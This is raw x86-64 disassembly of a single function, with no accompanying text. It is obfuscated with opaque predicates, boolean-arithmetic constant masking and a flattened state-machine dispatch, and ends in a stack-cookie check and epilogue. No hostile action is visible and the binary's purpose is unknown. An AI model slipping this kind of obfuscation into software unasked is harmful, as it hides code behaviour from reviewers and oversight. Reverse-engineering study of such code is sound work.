sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
xor al, 1
or al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xe01aa7cb
mov eax, 0xc16a2793
cmovne ecx, eax
test dl, dl
cmove ecx, eax
test bl, 1
mov eax, 0xe01aa7cb
jmp 0x1400bd5b0
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x6c09707
and edx, 0xf93f68f8
or edx, ecx
mov ebx, edx
xor ebx, 0x8120080
xor edx, 0x8004
or ebp, 0xb856ec85
mov ecx, ebp
not ecx
or edx, 0x5010368
and edx, 0xb505eb6c
and ebx, 0x8520481
or ebx, edx
and ebp, 0xb505eb6c
and ecx, 0x42a81012
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xbb2c95a
and ecx, 0xf44d36a5
or ecx, edx
mov edx, ecx
xor edx, 0x4c1bda20
mov ebp, ecx
xor ebp, 0xb3e425df
mov ebx, ecx
xor ebx, 0xa0e9f955
mov edi, ebx
and edi, ebp
and ebx, edx
mov edx, edi
and edx, ebx
xor ebx, edi
or ebx, edx
mov edx, ebx
not edx
and edx, 0x130ddc8b
and ebx, 0xecf22374
or ebx, edx
and ebp, 1
xor ecx, 0xb3e425de
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x24672f53
and ecx, 0xdb98d0ac
or ecx, edx
mov ebp, ecx
xor ebp, 0x5210808c
xor ecx, 0x24672f53
mov edx, ebx
not edx
mov edi, edx
and edi, 0xadca5a71
and ebx, 0x5235a58e
or ebx, edi
or edx, ecx
and ecx, 0xadca5a71
and ebp, 0x5235a58e
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x8d35cb3f
and edx, 0x72ca34c0
or edx, ecx
mov ecx, edx
xor ecx, 0x20ca1440
xor edx, 0x820831b
and edx, 0x5a20a39b
and ecx, 0xa5df5c64
or ecx, edx
mov edx, ecx
xor edx, 0x2208290
xor ecx, 0xa04c0460
and ecx, 0xf84c256b
and edx, 0x7b3da94
or edx, ecx
xor edx, 0x7b3da94
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, 1
mov r8d, ecx
xor r8b, 1
xor al, cl
or dl, r8b
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, r8b
and r8b, al
or r8b, bl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, r8b
test al, 1
mov eax, 0x116c931a
mov edx, 0xcd198643
cmovne eax, edx
test r8b, r8b
cmove eax, edx
test cl, 1
mov ecx, 0x116c931a
jmp 0x1400aed12
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xea5b5310
and edx, 0x15a4acef
or edx, ecx
mov ecx, edx
xor ecx, 0x48004e3
xor edx, 0xa0585100
and edx, 0xb17cf90c
and ecx, 0x4e8306f3
or ecx, edx
mov edx, ecx
xor edx, 0xb17cf90c
mov ebp, ecx
xor ebp, 0xb17cf90d
and ebp, edx
xor ecx, 0x40820013
and ecx, 0x41dec11b
and edx, 0xbe213ee4
or edx, ecx
xor edx, 0xbe213ee5
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x7af83349
and ecx, 0x8507ccb6
or ecx, edx
xor ecx, 0x7af83349
sete r9b
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, r8d
xor r9b, cl
and r9b, cl
xor cl, r8b
or r8b, bl
xor al, bl
not al
and al, bl
mov ebx, r8d
xor bl, al
xor al, 1
xor bl, 1
or al, r8b
xor al, 1
or al, bl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x8ff37b0e
mov ebp, 0xaf64f1aa
cmovne ecx, ebp
test bl, 1
mov edx, 0x8ff37b0e
jmp 0x1400bd0f1
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0xbb3869d2
mov ecx, ebx
and ecx, 0x44c7962c
or ecx, edx
mov edi, ecx
xor edi, 0x4c29220
xor ecx, 0x3a1049c1
mov edx, ebp
or edx, 0x7a154dcc
and ecx, 0x7a154dcd
and edi, 0x85eab232
or edi, ecx
and edx, 0x7a154dcd
xor edx, edi
mov ecx, edx
not ecx
and ebp, 0x8831f1f0
and ebx, 0x77ce0e0f
or ebx, ebp
mov ebp, ebx
xor ebp, 0x32400807
xor ebx, 0x8831f1f0
mov edi, edx
and edi, 0x45bf4798
and ecx, 0xba40b867
or ecx, edi
or edx, ebx
and ebx, 0x45bf4798
and ebp, 0xba40b867
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, r10d
xor cl, al
mov edx, ecx
and dl, r10b
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, r8b
and dl, al
and r9b, r10b
and al, r8b
or al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, cl
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x93f3fe64
mov ebp, 0xa517df77
cmovne eax, ebp
test cl, 1
mov ecx, 0x93f3fe64
jmp 0x1400bd5aa
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x6b433bf3
mov ebp, edx
and ebp, 0x94bcc40c
or ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0x31381f71
and ebp, 0xcec7e08e
or ebp, ebx
mov ebx, ebp
xor ebx, 0x1000a58
xor ebp, 0x5a120080
and ebp, 0xfe96d1a4
and ebx, 0x1692e5b
or ebx, ebp
mov ebp, ebx
xor ebp, 0x490c03
xor ebx, 0xfe96d1a4
mov edi, ebx
and edi, 0x1fb4b3f8
and ebp, 0xe04b4c07
or ebp, edi
or ebx, edx
and edx, 0x1fb4b3f8
and ecx, 0xe04b4c07
or ecx, edx
xor ecx, ebp
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, dl
and al, bl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov r10d, eax
and r10b, cl
xor cl, al
or cl, r10b
mov eax, ecx
xor al, 1
and al, r9b
and cl, r8b
or cl, al
and r9b, dl
or dl, r8b
xor dl, 1
and bl, r8b
or bl, r9b
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
mov ecx, edx
and dl, bl
mov r8d, eax
and r8b, bl
xor al, bl
xor bl, 1
xor cl, 1
and cl, bl
or dl, cl
or al, r8b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x369bba16
mov eax, 0x629a5e25
cmovne ecx, eax
test dl, 1
mov r14d, 0x629a5e25
cmove ecx, eax
not bl
test bl, 1
mov eax, 0x369bba16
jmp 0x1400bbbaf
mov ecx, 0xdaad38a4
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x335a2e71
mov ecx, edx
and ecx, 0xcca5d18e
or ecx, ebp
mov ebp, ecx
xor ebp, 0xcca5d18e
mov ebx, ebp
and ebx, 0x67056b94
and edx, 0x98fa946b
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xe3673e73
and edx, 0x1c98c18c
or edx, ebx
xor edx, 0x7b9daa19
and ebp, 1
xor ecx, 0xcca5d18f
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x455c7de2
and ecx, 0xbaa3821d
or ecx, ebp
xor ecx, 0xbaa3821d
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6c1a4068
and edx, ecx
and ecx, 0x93e5bf97
or ecx, ebp
mov ebp, ecx
xor ebp, 0x90648c16
xor ecx, 0x6c1a4068
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x679173c1
and ebp, 0x986e8c3e
or ebp, edi
or ecx, ebx
and ebx, 0x679173c1
and edx, 0x986e8c3e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xdcf1cb66
and ecx, 0x230e3499
or ecx, edx
mov edx, ecx
xor edx, 0x200a1010
xor ecx, 0xdcd08062
and ecx, 0xdfd4a4eb
and edx, 0x202b5b14
or edx, ecx
xor edx, 0x202b5b14
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor bl, 1
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov r8d, eax
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
xor dl, bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x79b615ea
mov ecx, 0xb35ae277
cmovne ebp, ecx
test al, 1
mov ecx, 0x79b615ea
jmp 0x1400bd415
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x15f144f8
and ecx, edx
not edx
mov ebp, edx
and ebp, 0x15f144f8
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xbc39a87f
and ecx, 0x43c65780
or ecx, ebp
mov ebp, ecx
xor ebp, 0x6040020
xor ecx, 0x88c0cc82
and ecx, 0xd8f3dfdb
and ebp, 0x270c2024
or ebp, ecx
xor ebp, 0x270c2024
mov ecx, ebp
and ecx, edx
xor ebp, edx
or ebp, ecx
cmp ebp, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, ebx
and dl, al
or bl, cl
and cl, r8b
or cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, r9b
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xcd198643
mov ebp, 0xb9f0fae2
cmovne edx, ebp
test cl, 1
mov ecx, 0xcd198643
cmovne edx, ecx
test al, 1
cmove edx, ebp
jmp 0x1400bd2f4
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x3b10bf3a
mov edx, ebp
and edx, 0xc4ef40c4
or edx, ebx
mov ebx, edx
xor ebx, 0x40074004
xor edx, 0x3b10bf3b
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0xaff82ed3
and ebx, 0x5007d12c
or ebx, eax
or edx, esi
and esi, 0xaff82ed3
and ecx, 0x5007d12c
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x71b42ccf
and edx, 0x8e4bd330
or edx, eax
xor edx, 0x8e4bd330
and edi, 0xc2383025
and ebp, 0x3dc7cfda
or ebp, edi
xor ebp, 0x3dc7cfda
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
cmp ebp, 0xffffffff
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
xor dl, al
xor dl, 1
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xcb53fc82
mov ebp, 0x44b46ad
cmovne ecx, ebp
test al, al
cmovne ecx, ebp
not dl
test dl, 1
mov eax, 0xcb53fc82
jmp 0x1400bd5b0
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x8b96902a
and edx, 0x74696fd5
or edx, ebp
mov ecx, edx
xor ecx, 0x8b96902a
mov ebp, edx
xor ebp, 0x8b96902b
and ebp, ecx
xor edx, 0x74696fd4
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x1ff0dfa6
and ebp, 0xe00f2059
or ebp, edi
or edx, ebx
and ebx, 0x1ff0dfa6
and ecx, 0xe00f2059
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0x2fd47697
and ecx, 0xd02b8968
or ecx, ebp
xor ecx, 0x2fd47697
xor edx, ecx
test edx, ecx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
and al, cl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, 1
xor al, bl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
not al
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xd00f607d
mov ebp, 0xfd278794
cmovne ecx, ebp
test dl, 1
mov edx, 0xd00f607d
cmovne ecx, edx
test al, 1
jmp 0x1400bd41b
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xeb446652
mov edx, ebp
and edx, 0x14bb99ad
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x14bb99ac
and edx, 0xeb446653
or edx, ebx
and ecx, 0x25357931
and ebp, 0xdaca86ce
or ebp, ecx
mov ecx, ebp
xor ecx, 0x8828286
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xf74d1479
and edx, 0x8b2eb86
or edx, edi
xor ebp, 0x25051031
and ebp, 0xf74d1479
and ecx, 0x8b2eb86
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
and bl, r8b
or cl, bl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test dl, dl
mov ecx, 0x3138c4ed
mov edx, 0xbebde1f4
cmovne ecx, edx
test bl, bl
mov ebp, 0x3138c4ed
cmove ecx, ebp
test al, 1
cmovne ecx, edx
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x90009c90
mov ecx, ebp
and ecx, 0x47c2048
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4100040
xor ecx, 0xfb83dfb7
mov edx, ebp
xor edx, 0x947cbcd8
and edx, ebp
mov esi, edx
not esi
mov eax, ecx
and eax, 0xe06d2d2b
and ebx, 0x141090d0
or ebx, eax
or ecx, esi
and esi, 0xe06d2d2b
and edx, 0x1f92d2d4
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x6b834326
and ecx, 0x947cbcd9
or ecx, eax
mov eax, ecx
not eax
and edi, eax
and ecx, ebp
or ecx, edi
xor eax, ecx
test eax, ecx
sete dl
setne cl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
xor al, cl
mov ecx, ebx
or cl, dl
xor bl, dl
mov edx, ecx
xor dl, bl
xor bl, 1
xor dl, 1
or bl, cl
xor bl, 1
or bl, dl
mov edx, eax
xor dl, 1
and al, dl
mov ecx, ebx
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov r8d, ebx
mov r9d, edx
and r9b, bl
xor dl, bl
xor bl, 1
and cl, bl
xor r8b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r8b
xor cl, al
or dl, r9b
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xa8db373f
mov ebp, 0xbec77772
cmovne edx, ebp
test cl, 1
cmove edx, ebp
test al, 1
mov eax, 0xa8db373f
cmove edx, eax
mov ecx, edx
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov edx, dword [0x140265730]
mov r8d, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x47c1b414
mov edx, ebp
and edx, 0xb83e4bea
or edx, ebx
mov ebx, edx
xor ebx, 0x20364360
xor edx, 0x47c1b415
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0x9c89b89a
and ebx, 0x63764764
or ebx, eax
or edx, esi
and esi, 0x9c89b89a
and ecx, 0x63764765
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x6e16cae8
and eax, 0x91e93517
or eax, ecx
or edx, ebp
and ebp, 0x6e16cae8
and edi, 0x91e93517
or edi, ebp
xor edi, eax
not edx
or edx, edi
cmp edx, 0xffffffff
sete r9b
setne bl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov eax, ebx
xor al, dl
and bl, al
and al, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, r9b
mov ebx, edx
xor bl, 1
and cl, r9b
or cl, dl
xor dl, cl
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
and bl, al
xor al, 1
xor dl, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xb2c6cb13
cmovne ebp, r13d
test al, 1
mov ecx, 0xb2c6cb13
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov esi, ebp
not esi
mov edx, ebp
or edx, 0xfe1feff6
mov edi, edx
not edi
mov ebx, esi
or ebx, 0x1e01009
mov ecx, ebx
not ecx
and edx, 0x5820dfa8
and edi, 0x1c00001
or edi, edx
and ebx, 0x5820dfa8
and ecx, 0xa61f2056
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xfe1feff7
and ecx, 0x1e01008
or ecx, edx
mov ebx, ecx
not ebx
and esi, 0x5f0c2f6b
and ebp, 0xa0f3d094
or ebp, esi
mov edx, ebp
xor edx, 0x20c28084
xor ebp, 0x5f0c2f6b
mov edi, ecx
and edi, 0xc73d7753
and ebx, 0x38c288ac
or ebx, edi
or ecx, ebp
and ebp, 0xc73d7753
and edx, 0x38c288ac
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x60b6da39
and ecx, 0x9f4925c6
or ecx, edx
xor ecx, 0x9f4925c6
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor bl, al
and bl, al
xor bl, 1
mov ecx, ebx
xor cl, r8b
not cl
and cl, r8b
or bl, r8b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, eax
or cl, r8b
xor cl, 1
xor al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, ebx
xor r8b, 1
mov ecx, eax
xor cl, 1
mov edx, ecx
mov r9d, r8d
mov r10d, ecx
mov r11d, r8d
and r11b, cl
xor cl, r8b
and r8b, bl
xor r9b, r8b
xor r8b, 1
or r8b, bl
and dl, al
xor r8b, 1
or r8b, r9b
xor r10b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r10b
mov eax, r8d
xor al, 1
and al, dl
xor dl, 1
and dl, r8b
or dl, al
or cl, r11b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xce995851
mov ebp, 0x79ea71c7
cmovne eax, ebp
test cl, 1
mov ecx, 0xce995851
cmovne ecx, eax
test dl, 1
cmove ecx, eax
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1401b9360
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret